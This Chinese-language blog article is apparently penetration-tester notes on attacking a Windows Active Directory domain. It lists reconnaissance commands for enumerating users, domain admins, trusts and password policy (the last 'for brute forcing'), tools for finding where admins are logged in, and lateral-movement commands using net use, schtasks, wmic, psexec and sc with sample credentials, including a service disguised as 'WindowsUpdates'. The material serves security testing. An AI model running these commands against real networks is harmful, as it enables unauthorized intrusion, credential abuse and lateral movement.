域渗透初级命令

华盟原创文章投稿奖励计划

大概总结了一些以前项目中遇到域时用到的初级命令,他山之石,可以攻玉,大家见笑。

一、初始信息收集

1.查看当前网络及域名

ipconfig /all

自动草稿

2.查看安装的软件版本

wmic product get name,version

自动草稿

3.查看本机服务信息

wmic service list brief

自动草稿

4.查询进程列表

tasklist /svc wmic process list brief

自动草稿

wmic这个命令需要权限比较高才能看完全:

自动草稿    

5.查询用户

本机是直接net user,如果在域环境里则是net user /domain(当前必须以域用户身份登陆凭据,否则会拒绝访问,如下图)

自动草稿

正常执行如下图:

自动草稿

6.列出与本地计算机连接的客户端信息

这个很有用,可以看到有谁通过smb协议连接上来。有时候拿到域里一台服务器,可以看到个人机的登陆地址。

net session

7.查询路由表和arp缓存表

route print 

可以看到当前可访问的网络范围,不过很多网络的子网掩码都是随便写的,但是超出掩码范围的还可以访问。

自动草稿

arp -a

可以看到曾经访问过的IP地址。

自动草稿

8.查询域里DNS服务器信息:

nslookup 域名

可以查看到本域DNS服务器的信息,一些比较小的域都是用DC当dns服务器的。    

自动草稿

9.定位域控

net time /domain

自动草稿

net group "domain controllers" /domain

自动草稿

nltest /dsgetdc:域名

自动草稿

nltest /dclist:域名

自动草稿

上图PDC为主域控

10.查看域里机器

net view /domain

(这个命令是查看所在域的名字,如果目标存在多个域,可以查看所有的域)

自动草稿    

net view /domain:域名

(查看域里存在的机器,与本机有通讯的)

自动草稿

11.查看域里所有用户组

net group /domain

自动草稿

12.查看域里所有计算机

net group "domain computers" /domain   

自动草稿

13.查看域管账号

net group "domain admins" /domain

自动草稿

14.查看所有域用户账号

net user /domain

自动草稿   

15.获取域密码策略

net accounts /domain

在爆破的时候可以作为参考

自动草稿

16.获取域信任信息

nltest /domain_trusts

在大型环境里面很有用,多个域之前存在信任关系的话横向比较顺利。

自动草稿

17.获取域内用户详细信息

wmic useraccount get /all

(需要与域控135端口通讯)    

自动草稿

18.查看企业管理员组成员

net group "Enterprise Admins" /domain

(有的环境这个组的成员权限也非常大)

自动草稿

二、定位域控

常见的域管理员定位工具有psloggedon.exe、PVEFindADUser.exe、netsess.exe,以及netview等。在 Powershell中,常用工具是PowerView。

1.psloggedon.exe

网上的文章都说psloggedon.exe是系统自带的,但其实这个在微软的PsTools里面,非自带。不得不吐槽一句,那些抄来抄去的文章真是害人不浅。

psloggedon.exe \IP 

自动草稿

psloggedon.exe username

自动草稿

第一次使用要加 -accepteula 参数,以后就不用了,因为它一开始会有一个同意使用的窗口。

微软签名,正常文件,不需要免杀。

此工具本质是检测注册表中HKEY_USERS的key值、调用了NetSessionEnum的API来判断谁登录过哪台 机器,如果无法读取或者读取注册表失败,此工具效果很差。

2.netsess.exe

这个是一个外国大牛2004年写的exe,现在还能用。

netsess.exe \\IP 

自动草稿

3.PVEFindADUser.exe

运行需要计算机支持framework2.0。网上说是需要管理员权限,可是我在本机测试普通成员权限是可以的。

pvefinaduser.exe -current

自动草稿

4.netview.exe

据说这个比较好,但是我在本地测试没有成功。

netview.exe -d 寻找当前域名下的session netview.exe -g 寻找指定用户组的登陆session 

5.PowerView.ps1

这个我在本地也没测试成功。。

三、执行命令

impacket包里面有很多执行命令的方式,网上也有很多文章,这里不再阐述,只介绍几种系统自带的正常可以远程执行命令的方法,winrm由于应用条件苛刻且基本很少存在,没有加入。

1.net use + at or schtasks

net use \\192.168.3.142\c$/u:0da\administrator "admin!@#45" 建立ipc连接 net time \\192.168.3.142 查看目标当前时间 at \\192.168.3.142 时间 要执行的命令 (08以后的系统已经弃用at,可以用下面的schtasks)

自动草稿

SCHTASKS /Create /S 192.168.3.142 /U 0day\Administrator /P "admin!@#45" /SC ONCE /ST 12:45 /TN test /TR c:\windows\system32\cmd.exe /RU system (一定要写后面的 /RU system

自动草稿

2.wmic

wmic /node:192.168.3.142 /user:0day\administrator /password:admin!@#45 process call create "cmd.exe /c whoami > c:\x.txt" 

自动草稿

返回值为0代表执行成功。

自动草稿

另外:如果密码里面带有逗号,也就是 “,” 的话,会导致命令执行不成功。这时候可以把password参数删除交互输入密码,或者用类似impacket之类的工具。

3.psexec

psexec /accepteula //接受许可协议 psexec \\192.168.3.142 -u 0day\administrator -p admin!@#45 -s cmd.exe ( -s 是代表 用system权限启动,如果没有这个选项,默认配置下会显示 “登录失败: 未授予用户在此计算机上的请求登 录类型。”)

自动草稿

另外:一定要有本地管理员权限,否则会提示拒绝访问。如下图:

自动草稿

4.sc

net use \\192.168.3.8 /u:0day\administrator "admin!@#45" sc \\192.168.3.8 create "WindowsUpdates" binpath="cmd.exe /c start c:\x.bat" sc \\192.168.3.8 start WindowsUpdates sc \\192.168.3.8 delete WindowsUpdates       

自动草稿

显示失败,但是x.bat已经执行了:

自动草稿

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容